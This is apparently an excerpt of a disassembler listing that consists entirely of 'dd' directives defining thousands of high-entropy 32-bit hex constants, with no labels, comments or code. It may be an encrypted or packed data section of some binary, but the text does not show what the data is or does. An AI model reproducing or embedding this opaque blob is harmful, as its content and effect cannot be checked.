		dd 8DA513DAh, 0BFE38253h, 0CCEDB9E4h, 0C4EC11E4h, 38BF7F5Ch
		dd 58E60192h, 8E9EE28h,	0C5B44F8Ah, 0CCF91283h,	392DA9A2h
		dd 5878D601h, 22005DB8h, 5CBA2F1Bh, 4AE58DFDh, 0B001FE31h
		dd 240120D3h, 0DDE3A221h, 71A90810h, 0D9A34C5Fh, 0FC03FF34h
		dd 12A7F5Fh, 62A13455h,	0B45000CEh, 6567F04Ah, 0F8CF21E3h
		dd 526D9DECh, 41EE0420h, 80E4C412h, 91039993h, 88E5554Bh
		dd 8D520807h, 0F693A218h, 0B88B77BFh, 0F1311A84h, 0E2986B0Eh
		dd 2BEF4182h, 5C2D97F3h, 719A1C51h, 8C657F23h, 9070D9A7h
		dd 2B069650h, 3B6E107Ah, 0ABB411B6h, 718F300Eh,	0D7B8A25Dh
		dd 375FC704h, 0D9873856h, 25B51280h, 67E758C1h,	73BCCF03h
		dd 2A033EB3h, 10975029h, 5E85FBE9h, 7FC2C085h, 72F5619h
		dd 2E66858h, 0FCA9D371h, 0D64B1354h, 0DC6328AAh, 0C7171A60h
		dd 4E7F8FC4h, 0B15217A7h, 0D2EBF056h, 4BB57706h, 816CD301h
		dd 3D2E5A08h, 51272073h, 0C0011520h, 3649E249h,	427F6C71h
		dd 1E3BBF30h, 722715BEh
		dd 0DEF7260Ch, 5F3C02C8h, 6EC040EDh, 731219F2h,	37010512h
		dd 1F2F1A31h, 2B6A4C82h, 4B403206h, 9E0B09FEh, 55D63191h
		dd 2FE9F0A1h, 96073814h, 5BC0FDB4h, 0E89699F5h,	0D1BA0BBAh
		dd 0FA910EF6h, 2142D2A4h, 50CCFFECh, 12B23230h,	3DADB753h
		dd 0C618CFFEh, 0BE661498h, 5C09173Ah, 420A1ED8h, 0DDB7586Fh
		dd 25303F12h, 0B516EE0Ah, 71F6AFDh, 3DE628B6h, 92BE874Dh
		dd 53BE50BFh, 0E1D058BFh, 89E669E2h, 23201F44h,	0C33103EEh
		dd 0D8895058h, 0BCB4C593h, 0A685A4C7h, 97E0041Fh, 460B6EFCh
		dd 0DA7DA7D0h, 88FB9EF4h, 1813D96Fh, 18093B16h,	493451B2h
		dd 6F5C51B2h, 0F3E4B79Dh, 27C2A9C2h, 0BA1A50B8h, 8F386820h
		dd 59678978h, 37805729h, 0F82EFAC9h, 7C4460F5h,	41A3189Dh
		dd 0FA28B02Fh, 1AA96FA3h, 46B49840h, 7B9529DEh,	0AE90502h
		dd 479DE4ABh, 0B4952A9Ah, 955997C4h, 3119E449h,	266FE262h
		dd 10427853h, 5A25DB90h, 0AE597276h, 7772FE7Ch,	416A9DEBh
		dd 2F7815FFh, 92BD24CCh, 6D3EC16Bh, 0BB5300F2h,	193D27CBh
		dd 842B99D2h, 51F4D83Dh, 80DE3EB1h, 0CB888500h,	28B65259h
		dd 4839E6F2h, 2706BFC0h, 0BF74D27Eh, 56A5B8FBh,	0E9565857h
		dd 58A2EA2Eh, 57E2BAC4h, 0B312FD01h, 31F32905h,	0E908000Ch
		dd 0BCAAD4AAh, 251434F5h, 0A905F2E9h, 2001EA29h, 41152753h
		dd 3F0CF501h, 2BE9410Eh, 0F916A523h, 125A21CBh,	4BF5E843h
		dd 31C56AFh, 7FFFB759h,	460CAD04h, 89FA775Bh, 4BF6EC94h
		dd 62807918h, 249F930Ch, 4D22E8Eh, 0C1A101D3h, 10EFBDCh
		dd 6C70D829h, 45DE4825h, 0A0E8AF26h, 0F2201E3h,	0EEC17BB4h
		dd 0C998E707h, 0E3168664h, 0F48BF221h, 41A5C202h, 0D94115DFh
		dd 0B22114D0h, 3D7E0CE2h, 0EE8D04DFh, 0E6689C90h, 2FE59525h
		dd 7F01D12Eh, 557CFD41h, 3E14C02Ah, 4324932Fh, 720255Eh
		dd 0E9DE2902h, 710122B2h, 0C8B352Bh, 0B77165A1h, 0E780A30Fh
		dd 0C1754591h, 9CB0E864h, 0EABE0056h, 576A1207h, 52D288E9h
		dd 612AB1Fh, 178094D1h,	1E6CAC05h, 25C23772h, 4C0C3668h
		dd 5F7825A5h, 0E49DD8C6h, 69A5FC03h, 9FD4441Bh,	9709A60Ah
		dd 13F2EE87h, 0B9512970h, 0B641048Ah, 0D316E936h, 301A019Ch
		dd 0F53E3542h, 3010FC62h, 7FED0D68h, 0FEC16734h, 0CD486454h
		dd 0BB6AB0F6h, 0D989096Ah, 0D11AB696h, 0C48850E1h, 74E91A84h
		dd 89C289C6h, 668AAF82h, 44416800h, 0B9304869h,	0BA500F20h
		dd 0D75C2926h, 0AD196454h, 6404B3ECh, 3C867Ah, 28967751h
		dd 0F6D92DE9h, 5F814FEEh, 0DEB46BAEh, 0F9F9D7E2h, 4C49AA3h
		dd 91292DCh, 68A28077h,	9C0CA29h, 913E34EBh, 9BC19022h
		dd 1B5E2503h, 0CE261962h, 0C2693073h, 0AC7B5DCBh, 0F212FD26h
		dd 6D6EABDh, 0F9ED7BDCh, 0F253EE0Bh, 490C7F1Ch,	43246378h
		dd 0CB3A20F8h, 4E5D045h, 0E1663752h, 6564D0Dh, 5AC3FF6Ah
		dd 0C7201864h, 542986Ch, 404C41F1h, 0E6C4AE51h,	0E44D00FAh
		dd 314D7E13h, 334DF948h, 0B9CECFB7h, 0D028046Ch, 56FBB00h
		dd 0C1435DFBh, 8102E31Ch, 1F54B6C0h, 606BE971h,	25BF3853h
		dd 0E503759h, 360B9181h, 0DD2961CFh, 208B488h, 11998E9h
		dd 0A224CD5h, 0B450635h, 8DB20BD4h, 6872F868h, 8D3FE72Fh
		dd 0F82E0D35h, 370123Ah, 0FD53D762h, 0B5845C45h, 25FF0132h
		dd 0AB8490h, 3946B8D3h,	0D6F43ABFh, 0BD34F360h,	608414CDh
		dd 59D37C3Dh, 925289Bh,	7E1477FDh, 0C7E0ED90h, 0E91DAA05h
		dd 0E04497A8h, 0F98D7290h, 0F6DD2220h, 32115B61h, 0FB41EA3Fh
		dd 20093FD3h, 17F5Ah, 6230C3E9h, 7157048Bh, 9EAC74B6h
		dd 3A4E277Eh, 1B4F0DA3h, 0EFD90C83h, 4F337EF7h,	3BFDE8FBh
		dd 0C2E09109h, 0F289E951h, 0A2D3E7A4h, 0CCEAD376h, 0C8B8B516h
		dd 0DE139227h, 83E1531Ah, 4C3B2347h, 28B0749h, 19E24BA7h
		dd 0F15D04A8h, 4DD96E4Bh, 5725EA23h, 7A005CFEh,	2EE97008h
		dd 70D99D28h, 516855C2h, 38FB08F2h, 0F85F6C25h,	0E0036861h
		dd 82C51FBEh, 48B5D5Bh,	5F5A2654h, 0DD227FC2h, 0BA5E3CF5h
		dd 0C0264E50h, 0B050664Eh, 0C54A083Fh, 0E4525E0Fh, 99EADF2Ch
		dd 99017E08h, 8176794Eh, 3B683D70h, 0EF026A91h,	0ECFEDB96h
		dd 0B07B8275h, 0F9A5D3Ah, 2045AB41h, 13D444Bh, 2408274Ch
		dd 33E15A19h, 96E2E63Fh, 5D6867CCh, 0B8808A8Ah,	6BF27F90h
		dd 1C7D2501h, 20E9667Ah, 7E300275h, 21A419Bh, 0BEF8FD91h
		dd 0AFC978A0h, 1D114012h, 416098B5h, 2A8705FBh,	0B8C5E9CBh
		dd 0EFD00086h, 8007E7C0h, 887916C7h, 6D0E91F9h,	33AC0430h
		dd 6037538Dh, 0B14C2CBh, 5906B59h, 9EC97A60h, 1B40C9B1h
		dd 0EB14B9E9h, 4819B73Bh, 2281A9Ah, 0D06B751Ah,	48A1ACD4h
		dd 15B85A97h, 2EE7FAA1h, 0FC041C8Bh, 0AB34B122h, 2275874Eh
		dd 0FD29910Dh, 5F0E100h, 4128678Fh, 0F138EE3Ah,	473D972Ah
		dd 1203BA08h, 53CA005Bh, 4E4BCB14h, 8395DCFAh, 884048DDh
		dd 2E4A112Dh, 22FA7824h, 49BD05FBh, 0C070C566h,	5E4EF17Eh
		dd 21F22676h, 0F2423103h, 501A38E9h, 40F335E2h,	7A97586Bh
		dd 4CF512BAh, 99D1282h,	83005D28h, 266771A7h, 0C11922B8h
		dd 40603E5h, 0A64F186Ah, 87036EE8h, 5EF53172h, 0E93B0C21h
		dd 0F760CF09h, 2713DE4Ch, 7D0F898Bh, 0BD9FE818h, 0AF60869Eh
		dd 41CB6B1Bh, 3CD7ED01h, 7231C91Ch, 0CD5990Ah, 0DD416693h
		dd 0F716B4D2h, 0CA687A42h, 4BDD6C2Bh, 0F9D91373h, 4C3F1C5Ah
		dd 2E147F27h, 4B4AF99Dh, 0D752547Ch, 2AA1FDE6h,	4B332C9h
		dd 3B58046Dh, 0FBDB80EEh, 4095C4A7h, 96A00624h,	96DF7274h
		dd 535B286Eh, 7B4A0947h, 300054B8h, 379575EDh, 0CBCD292Ch
		dd 0F539E519h, 7AD7F640h, 0C4648EBh, 86DC382Fh,	0D6A4DC62h
		dd 0ED73491Eh, 0A0E5571Dh, 0F2327157h, 0A0999E4Dh, 8D28B608h
		dd 2A734122h, 0F07FA809h, 0EC5C4EADh, 5E68F036h, 216E9D1Dh
		dd 86E6E910h, 0CF45A94Eh, 65EEB24Dh, 367B829Bh,	1E58100h
		dd 4A09243Fh, 6031942h,	0E94B2406h, 4E9CCB2Fh, 0CB42953Ch
		dd 0C10123D7h, 0EB4B03BBh, 13BD3297h, 1D120C78h, 1058756Fh
		dd 283DBFAh, 2405DD0Dh,	85F7D571h, 70A2D2Dh, 5001CE5Bh
		dd 873ED679h, 0D4D2F7E8h, 9B04EC08h, 0FA81198Ch, 180B8612h
		dd 8168790Ch, 45C531F0h, 5F7E825Ah, 8525667Fh, 0CB4442AAh
		dd 8805E5C9h, 53A8C2F5h, 31AF5F04h, 3FAED3E9h, 3023C631h
		dd 0B8450105h, 987BF963h, 890DB460h, 0F8E917DAh, 1731A350h
		dd 429C1920h, 0ECF04B89h, 62AB0B0Eh, 0D84B82BCh, 0EE0104EEh
		dd 82357562h, 435E20E9h, 44C14F10h, 12A96DB0h, 18B709EFh
		dd 0E3FC2A64h, 819C4648h, 6A520AFAh, 0CE33AE82h, 0C25736B2h
		dd 0DF3512DFh, 84977E1Eh, 0C100F836h, 680507E0h, 16002D7Ah
		dd 510DD8F7h, 0F47B300Eh, 0B9DF1355h, 491EA07Fh, 9A45F940h
		dd 0FB731F9Ch, 8B273FFFh, 0F36A527Eh, 0F093A10h, 29C23284h
		dd 6E7C01CAh, 2D070FAh,	159C5C03h, 0A0D19268h, 562609BCh
		dd 9F8472E6h, 9AE2AD53h, 0ECF40CEBh, 6BA91C51h,	0E912229Fh
		dd 6CEDF1ADh, 0F3FF16F8h, 0C327F3F9h, 97981655h, 1B92ED6h
		dd 89AECD40h, 0B331205Fh, 292B122Eh, 0B679F49Dh, 32283181h
		dd 1F67C10h, 0E0C0BD04h, 0B8D3FE05h, 2F352C63h,	0EC80B8E9h
		dd 3031C801h, 68EB30B7h, 0B8194A74h, 0E846F56Ah, 8873238Ah
		dd 0C9E42ED3h, 12DF89DAh, 93DC08B5h, 5AD30903h,	7CAACA93h
		dd 0D5F602D5h, 4677C5FEh
		dd 0E5C002D0h, 4B74E907h, 34C1E99Bh, 31996526h,	4ACB2B50h
		dd 4FF24A10h, 13EA53B4h, 0E4D9FA4h, 2764AA14h, 655FFF42h
		dd 40C6ACBh, 8DBB4FE5h,	0D5C6031h, 28196F1Eh, 81749B4h
		dd 1FA400EBh, 295F3880h, 60DE549Dh, 28EB055Eh, 483EB33Fh
		dd 134610B0h, 33FB0109h, 0E21829D5h, 26177455h,	373E0F4Ah
		dd 0EC8D9685h, 8ABAA584h, 9F1A12EFh, 0E35ABCA2h, 30BBD359h
		dd 5BDD010Dh, 14B16815h, 84FA5C25h, 28026947h, 405D5BF8h
		dd 4E936811h, 0AFF38556h, 862943Ah, 1875B1B7h, 73F888B8h
		dd 9FC37553h, 586095F1h, 0C06632E9h, 720BEA57h,	5F00234Fh
		dd 7A685750h, 0F13FF145h, 1EC1CD44h, 13B0E43h, 5A010219h
		dd 70E804Fh, 89D6CF23h,	2BE913F8h, 5A4AD27Eh, 0A337CBDDh
		dd 0E177EA19h, 0BD86B13Fh, 8D1F7CAh, 1B59BD80h,	1CBE224Eh
		dd 0C3894B27h, 0EF01C1FBh, 5D53416Bh, 8410F22h,	13234834h
		dd 0BF0D8069h, 2808A70Ch, 0ED3BEB7Ch, 58114122h, 9227E91Eh
		dd 924374E2h, 6E3A04BFh, 9213971Ah, 0C177457Bh,	5A03EFB6h
		dd 0B5F0D883h, 0D9246823h, 0B363CA59h, 31E2D1D7h, 0B6047863h
		dd 0FBF6802Eh, 1FF9A82h, 6BD1E9FDh, 8635CC00h, 0F42FF96Fh
		dd 6481FBF6h, 0C2259BAh, 6C37E954h, 0DDF71D95h,	0FCE169D7h
		dd 81B718B4h, 5A14FCAh,	0E99D68ABh, 520BA14Bh, 0AA6D0041h
		dd 0EA433D1Dh, 2C087FE1h, 52840561h, 7D930A81h,	6437AF4h
		dd 30391E9h, 9513F51Dh,	66D988AAh, 21F423Fh, 60A45126h
		dd 0C5C61974h, 233B153Dh, 0EE517801h, 0D39B6208h, 0F894D08h
		dd 5FE476BEh, 0BD80EF41h, 314491E6h, 0E9100B78h, 16163C16h
		dd 6FAD5954h, 5134BAF5h, 0B1FDE2BFh, 0BD00E186h, 0D3255F0Ch
		dd 817E5643h, 11163BEDh, 88A53E1Ah, 50E90800h, 0EF01B60Dh
		dd 0ECC57D64h, 721C50Fh, 18CEE0A8h, 852E1416h, 1C6C3807h
		dd 9EF26046h, 940DF15Ch, 0BDA4B7E9h, 69186C32h,	6F2EF45h
		dd 14547A1Eh, 0BD29CDD8h, 0F1D13E7h, 0C670BB7Fh, 25255115h
		dd 0A7F3CD31h, 25E13912h, 0C433FC35h, 4313E983h, 0C491AD84h
		dd 5703E0F1h, 0B89CC789h, 42460BF5h, 0F1D7C11Ah, 585F0741h
		dd 1EB0D040h, 0C37A5A86h, 0E1D0021Ch, 83340CF3h, 0B4C0202Bh
		dd 3C052C09h, 212F1A9Fh, 780C8F8h, 9B5BE959h, 16870910h
		dd 4BD15D22h, 0CBA4079Ch, 2C93931h, 4BE5FD77h, 68B4B03Bh
		dd 23981E7Dh, 0B731030h, 25E9260Eh, 87BB4E7Eh, 94D6E1DAh
		dd 51BF5927h, 4A142C7Ch, 0F82FE1A1h, 0DB88D799h, 0B1EA9E8Ch
		dd 2A1539B2h, 21D54A42h, 0F11F501h, 72838F4h, 7E7BA52h
		dd 0CE830314h, 60EFB2A1h, 175CBB81h, 1202475Eh,	2DCFC28Ch
		dd 9AA2957h, 0D2D188A9h, 97F2BBBBh, 77AC8493h, 74288AC6h
		dd 26E9687Ch, 5C625955h, 2FA68B6Bh, 0FB17A9F5h,	6BB4038Eh
		dd 0CC93C4FEh, 0B3530400h, 70B65298h, 0DACE0C80h, 0E40ADEF6h
		dd 17B8398h, 300BC3F2h,	7814E9F3h, 57E33h, 2D2E9C50h, 36420798h
		dd 47F9EAB0h, 2711CA07h, 1B09CBFBh, 0B55572D5h,	61A3932Bh
		dd 1D03E16Bh, 0F638DAEBh, 0C60C0417h, 21A5C0Ch,	82AC78FFh
		dd 67B420DBh, 7FF9AFA8h, 0B2D69069h, 0E9531235h, 0BA318577h
		dd 3562528Eh, 0F3A5B8E9h, 1545AB5Ah, 6001AEDCh,	31E33CCh
		dd 683F426Bh, 9C710D19h, 3F62CD29h, 635707A0h, 4B03E372h
		dd 510950C5h, 54E6DA6Ah, 0C8FE09A7h, 0E5F44C70h, 0E35620B5h
		dd 0E1A723DCh, 0B2814E78h, 70538F46h, 632D3140h, 792F0008h
		dd 5951BF07h, 840C429h,	0F70ECB5Bh, 0C392286h, 1F2429F2h
		dd 22C5E32h, 42A1EE64h,	0D32CE37Ah, 0F140340Bh,	2F053D13h
		dd 0BBD6132Ch, 0CD01B413h, 25EA4476h, 4BE93170h, 0EEC1656h
		dd 0BB121CB6h, 0A816458Eh, 90FDD093h, 680AD159h, 0A15EF109h
		dd 7FAD0512h, 0DACBB903h, 8BE1210Fh, 0FC5722Ch,	9F76B850h
		dd 45AE2B53h, 0F9FD18BFh, 0A2797726h, 0B5520EDBh, 0E04B92E8h
		dd 40940FE5h, 72C2B801h, 0A12A644Dh, 0FAE08452h, 43C0E52Dh
		dd 2F390DC1h, 0A9EA75A6h, 71C080Dh, 0FAC7B714h,	7C381DDh
		dd 7AB5C645h, 648B501Fh, 9D421427h, 71A95F1Bh, 0EFB05527h
		dd 41DB40Fh, 84AA3E02h,	69DE427h, 2034465Eh, 89B4A7AAh
		dd 0E03F0250h, 0E47F09E8h, 0D5F62747h, 65523A55h, 21AA4FEh
		dd 0E1EB8033h, 4B33787Dh, 2517BC69h, 62027E88h,	0E5ABB938h
		dd 4E5ADB00h, 7AF87B99h, 0F726BF9Ah, 2707E1D0h,	0CEFD624Bh
		dd 68009028h, 49DC6618h, 0D250F75Ah, 5183480h, 91C02FADh
		dd 60539DE0h, 55820199h, 813B3520h, 15CB6A5Ah, 5BDD6C10h
		dd 0B64E13BCh, 0C304A83h, 0BED9E9D8h, 97680570h, 4ED9A30Dh
		dd 0D4B513FEh, 0C079AA04h, 1371B62Bh, 1463C13Ah, 0C1F0EADEh
		dd 0F00412DDh, 1062BF9Fh, 19656D7Dh, 0C75250B8h, 6095EFE9h
		dd 12C5BDEh, 6CB55187h,	0F89EE580h, 2BD605ADh, 46A104AEh
		dd 3CBD17E2h, 4F8C509Eh, 1ECF535h, 1173F319h, 0C0DC83FAh
		dd 0EA62F121h, 48EED00Ch, 0B3B03A52h, 6225E9C3h, 18A97DEDh
		dd 0C9CA9B87h, 0F9F18821h, 552E484h, 4642FB0Bh,	0B91E8823h
		dd 0F6259D18h, 0F3A1277h, 6B25812Ch, 3C346F57h,	0D5DFF8C2h
		dd 0DE8D3FA0h, 749DA103h, 0EE599248h, 0CDF82DD4h, 0ED03C3A8h
		dd 294CDF58h, 82AC7EBh,	2407C527h, 268D0395h, 7C5A3A4Eh
		dd 61FDF9C8h, 4CF2BFF3h, 2A70C513h, 0A50C17EDh,	0DBD02B11h
		dd 0B22F6390h, 5E624889h, 56BBF24Bh, 0C604F50Ah, 0FE398418h
		dd 75346110h, 23C77A01h, 55E952A6h, 35320E2Bh, 13563C02h
		dd 4597017Dh, 0E1F61E09h, 0C32844DEh, 177F572Ch, 0BF3F8513h
		dd 5003AC80h, 0D4F19DF7h, 4E53CF93h, 40129B26h,	6B256821h
		dd 9F33F142h, 535AD7BCh, 806601E6h, 307E9328h, 80941D1h
		dd 0E50630Ah, 0AA24DBFAh, 2B09DFACh, 25F83457h,	8B4140E9h
		dd 0ACD32A5Bh, 40B99C1Ch, 2A05957Bh, 5DA04A42h,	26FC1DA7h
		dd 22D540B7h, 0CC03152h, 5BD916DCh, 1205765Eh, 2367B0Ah
		dd 739F68EFh, 2C08040Bh, 310BB691h, 84ECB37Eh, 5800E36Fh
		dd 74A060Dh, 172D5003h,	0A813A06Dh, 7BD693E8h, 0A55D521Dh
		dd 0EE96E316h, 3E3AA631h, 2E03CD2Bh, 0E909309Eh, 15988CD1h
		dd 51025753h, 0C1210C68h, 90E5B5Ch, 0C472608Ch,	39821133h
		dd 7EAE9E7h, 69F65D81h,	0D844EB76h, 1005B4EEh, 59564DA1h
		dd 705064B3h, 737502A8h, 0BF4CE95Fh, 0B4596A0Fh, 0D90EB309h
		dd 78514678h, 645720h, 35B1ECB7h, 28BEC180h, 0D5FFF975h
		dd 66CBC05Bh, 0EB7F5970h, 0C7DF49E4h, 32536DD2h, 2BEA4FBAh
		dd 0EA73B524h, 8ED5CCB5h, 0E8340BB4h, 0F368B07Fh, 8D16BF56h
		dd 27E78F20h, 2D9B068h,	0C0F5EA13h, 8213A002h, 5F875807h
		dd 6C02F81Ah, 0A7F843E9h, 88526600h, 244C8ACAh,	0DF54EC02h
		dd 0B442508h, 76BD3FF7h, 0CB884E60h, 0E9185152h, 0C1463367h
		dd 0FE589DEFh, 8A302674h, 8F4E0C0Ch, 0BB0E4C41h, 0B01FE909h
		dd 0A992154Ah, 0C0B5AF8Ah, 5121402Ah, 28C50134h, 32E90802h
		dd 0D55A5FFEh, 491B1697h, 0B94E1646h, 0AB4BF2CFh, 0BF091682h
		dd 0BB90645Bh, 0BBD9B685h, 24300ADDh, 9C32050Ah, 411EE945h
		dd 29F1BFA8h, 0DA83307Bh, 18EC8F4Eh, 855FBDC6h,	83C49C4Ah
		dd 0D892EEA2h, 3012E4A1h, 0DB0C26E5h, 98E14D7Dh, 96072024h
		dd 19E68006h, 0FA3BC6FEh, 0E1787058h, 11A6CC6Bh, 0B6701F60h
		dd 4CCE8074h, 141266D8h, 1F025252h, 0BA8617A7h,	28657130h
		dd 0C55958EEh
		dd 0B0763048h, 0EC41416Bh, 7B95148Bh, 9BE9E1B5h, 735DC2AFh
		dd 79E941B5h, 0DEB19411h, 0CEE1CEDh, 6526610Bh,	3D5A89FFh
		dd 2B6F3C74h, 7265A34h,	8926E4F5h, 0DC0FB223h, 900D18DDh
		dd 0BF26D3B3h, 3653C81Eh, 0B2A091ECh, 0C20B80B4h, 4153E910h
		dd 0F12B5B86h, 4CCE2434h, 30BD0171h, 0BB5E684Ch, 0C8183C6Ch
		dd 9460AF2Dh, 0F7B2981h, 6642EF6Ch, 4A7564E1h, 0C080C92h
		dd 1675122Ch, 0E1C5D448h, 4996F8Bh, 9B7F50E5h, 50E34F63h
		dd 0D4D5CF12h, 8221C00Ah, 70B57661h, 6FFA0456h,	0AD5A1BF7h
		dd 9BEC93C5h, 25C5561Ch, 0A2A11477h, 84D6C1CDh,	53C14E39h
		dd 6E76DB68h, 0E84A0ACFh, 431FB510h, 47A2CC13h,	87FF4B27h
		dd 0F5D07702h, 0B298E9BFh, 0EC664A9Ah, 0E2086244h, 8054D603h
		dd 0E925EDF2h, 0A5D075B7h, 5E433CB4h, 13703E44h, 889064F9h
		dd 0B46B3605h, 0EB904A79h, 0EFC2D08h, 0EC02C0C8h, 7568EE0Eh
		dd 0E220B76Ch, 465B2CF5h, 0DFB91E69h, 838ADC91h, 78BCE9CFh
		dd 2D70B958h, 15137703h, 80ADB6C8h, 88F6EE09h, 7F145F7h
		dd 0F102EFC0h, 0C605E9D7h, 0CF825DD6h, 556A1B74h, 8032E7D2h
		dd 783610CCh, 315F2FC8h, 5916B950h, 47ED048Bh, 8CF262B1h
		dd 607E56Fh, 0ED801E02h, 6A07978h, 4811084Ch, 0DD0F10C3h
		dd 0CCF18100h, 29C42469h, 80E1CE59h, 470EBE56h,	0AA454EC8h
		dd 59C1EA1Eh, 74297B5Eh, 0E4E91084h, 0F5EE4C7h,	3966BA40h
		dd 0B5C8D6F7h, 14B81D18h, 9121ABDh, 0F0033341h,	0C0DC5B2Eh
		dd 0C02AB9E9h, 76BDBB20h, 29240345h, 0D27332DAh, 58E5B32h
		dd 0C4707A4Ch, 0E821AF91h, 50023E1Ah, 0D0202EF8h, 0F3DBA0D3h
		dd 67741D59h, 0BE3816Ah, 2034F16Bh, 69270619h, 0A42C56E0h
		dd 2BB0BA3h, 0E5AD26F9h, 27FD20D1h, 0E95C882Ch,	2FC5AB12h
		dd 12B48ABEh, 0B237FA1Ah, 0A746F782h, 0B8215093h, 49312DA3h
		dd 5FDF0D7Eh, 2C39E5E5h, 21F65B69h, 1C2E1673h, 0AC5B0106h
		dd 68F9E3D1h, 715617D7h, 5D60A23h, 7F3E058Ch, 3941BA60h
		dd 67F3C2F6h, 450D006Bh, 722FBF57h, 317E6901h, 0EDD15FFDh
		dd 0F05A5C3Ah, 91D8F566h, 2AA85426h, 6E1E772Dh,	0E5CAE912h
		dd 3E5639EEh, 0AA048CA6h, 852E9733h, 0CA3680FEh, 6E2646DEh
		dd 12300B02h, 245DB3C2h, 5EF61F2h, 0C54D2ABFh, 4CF8745h
		dd 0AE0E07Bh, 31E62D04h, 0E284474Fh, 0E58069D0h, 5AB1F046h
		dd 0B86E4445h, 0D3F60320h, 0D7A4EB51h, 0C34C0CF5h, 40A9BE8Fh
		dd 472C68D5h, 5B02D329h, 4001EB83h, 0F87C5716h,	5EE91237h
		dd 4F58418Ah, 346FD414h, 290CEB74h, 0B440C546h,	88231042h
		dd 72471C44h, 0F7294909h, 0BB62BC6h, 0B738E469h, 64E9F890h
		dd 7288B65Ah, 3FDD48B1h, 80B8C2DDh, 0EAE6D7C9h,	26128E94h
		dd 41D7F298h, 12E02ED9h, 0B362E9A4h, 0E8730A05h, 683BE031h
		dd 0E65A632Ah, 1199112h, 0AD03BD7h, 901F791Ah, 5ADB404Bh
		dd 1AC525Fh, 6C30E9ACh,	80C31FA6h, 0B993DC7h, 17E5A298h
		dd 581C4FEAh, 5CEF0FA4h, 55E659A3h, 0DB79A083h,	3B9C0A4Ah
		dd 0ECC84F30h, 149BC554h, 1506A4B9h, 0C27E70Dh,	835B708h
		dd 183D010Ah, 0F2012090h, 0A8A12CC1h, 0C14C8365h, 24284E99h
		dd 4CE101BBh, 0E3C14DFEh, 0B7293008h, 9261C239h, 7D2DDD29h
		dd 40FF2520h, 40B831B1h, 2E55D8B5h, 883A4804h, 2F3D0FABh
		dd 0C6A689CEh, 61CCB1CEh, 0A80FF4E9h, 81BDD628h, 0E3FFAEFEh
		dd 0BD600230h, 17468D09h, 0B48BC4BEh, 24307511h, 3C89554Fh
		dd 5E7FC01h, 91F35AEh, 0F1907119h, 0BFA56484h, 2EA8305h
		dd 0B0A3F831h, 0D606613Ah, 5EA32BA8h, 24EB3837h, 6A0B80CBh
		dd 15482A60h, 8CF12A43h, 0CC5F4088h, 12513580h,	0C13662B5h
		dd 0C23CFE90h, 0C282F177h, 5609D3C1h, 0AF5A1345h, 0F5259C61h
		dd 13EFC981h, 20766A12h, 2980B255h, 17EFD7F2h, 504CF708h
		dd 0C59FA143h, 31C812D9h, 2F142342h, 66313791h,	0A23E307Bh
		dd 46279F6Ch, 27605821h, 93D410C5h, 0D92B50D1h,	962A30FDh
		dd 5F1219BCh, 0D41968AEh, 19A69C54h, 0A24238E5h, 13B8855Dh
		dd 2FCCD1ACh, 139880ABh, 27A10858h, 0ED9B48F6h,	4C3D5C94h
		dd 10CD5C78h, 0E8420841h, 0BD550164h, 4C73E19h,	7FD5F1B2h
		dd 0DE69FBC5h, 1B02E6D8h, 0B37939AAh, 0E31CF1AFh, 5F059253h
		dd 141095F6h, 9D7E105h,	7AC457BCh, 0D2C9A9DDh, 4A599AAFh
		dd 9784C0BDh, 0F8861AD2h, 0B2520960h, 925C884Dh, 2CD8C108h
		dd 0D31E0BB1h, 592078DAh, 62A490FAh, 7262B115h,	92C7FE03h
		dd 18D61CFh, 0B8BDEFCCh, 0C085282Dh, 0D6F63984h, 0DE9DE0Ah
		dd 4B688985h, 546419F7h, 137FD221h, 0F0DBAECDh,	0C2655C2Dh
		dd 107AC84h, 0D34EDFFDh, 0C14F7873h, 0F04FEDF2h, 475F0920h
		dd 0A24B1CB9h, 8BAEB5CBh, 6B1751FFh, 0DF17131Fh, 0D23D5EEBh
		dd 9CB496Fh, 0F7FB79E0h, 5753D70Bh, 0C690D55Bh,	7600A8B9h
		dd 0F1814C1Ah, 9F8D422Bh, 0BF59AAE0h, 74405B0Bh, 41E1DC56h
		dd 6E99CDE9h, 711E6145h, 0B6C026A8h, 511CF562h,	61FAD5A0h
		dd 0F640F582h, 0D824253Fh, 0BA046AA0h, 0ED81147Dh, 0D17CFBB4h
		dd 75B8584h, 36E544B6h,	0E22EE1A1h, 685BC16Dh, 0B73E3034h
		dd 0AEE90B35h, 0BC1FD1AFh, 0F3054B22h, 76414C15h, 0DF6691BBh
		dd 0F22C010Ah, 53122776h, 0A4251CB7h, 6C61822h,	0D748F601h
		dd 272C38E6h, 8096C7F8h, 1571BA52h, 0E2F85988h,	9A77C209h
		dd 172F7D63h, 0B98BA20Eh, 24F26880h, 605C7C1Fh,	0EA1E60E0h
		dd 5B2B2CFCh, 191A82D7h, 0E9D1BF8h, 1DFF7EECh, 2FAC335Fh
		dd 73FC3B16h, 0DF0B0458h, 0BB56FEBEh, 25524D27h, 89FD9C9Ah
		dd 4B03466Ah, 0BE162D5Fh, 13781B4h, 7FD2E902h, 1B174967h
		dd 5A72BE13h, 27497475h, 0F1B23BFFh, 702A12E3h,	5880688Fh
		dd 6928D19Fh, 51E19500h, 5B02A1Bh, 9BB1640h, 483B0910h
		dd 0F6F42E01h, 441C71C4h, 346F8D81h, 7D40B950h,	522E9F2Dh
		dd 0A82673A2h, 0B8DCEF7h, 6EA29112h, 12BB361h, 76F5058h
		dd 0C478867Ch, 4CE4E89Dh, 0D3F61C91h, 0C1FEDB93h, 3E53C311h
		dd 4124A6B0h, 0CD9E83F3h, 0DA1CD60Ah, 479969D5h, 604FE041h
		dd 9C6021F1h, 0A2F2246Fh, 7DE10B82h, 96BF3016h,	0D3B2A047h
		dd 41B880D5h, 7E5C5106h, 0B00B5D35h, 0D01B494Ah, 0D02C2E82h
		dd 1DB9A960h, 2A0F482h,	1A8A7245h, 0CA023344h, 0E93A1466h
		dd 68FA68C4h, 0EE535432h, 6EF2508Fh, 9870507Bh,	93789D43h
		dd 0F80994C4h, 4E18DDC8h, 7E25B230h, 69834D2Fh,	0A36E59CEh
		dd 31EED283h, 4CF8322h,	40DCEEC1h, 0DFF7F27Bh, 0A0986D49h
		dd 8653168h, 3AC1BF6Bh,	11461FDh, 0A8704513h, 0C881C68Fh
		dd 0CFE0131h, 4F4C6F91h, 40A15FC8h, 83255901h, 0CBCE54C0h
		dd 0C21A075h, 16466D03h, 0A37F7568h, 0E2211012h, 8BBB5300h
		dd 29477967h, 0B36896BDh, 6C28888Ah, 0F7D03100h, 0C0592DAh
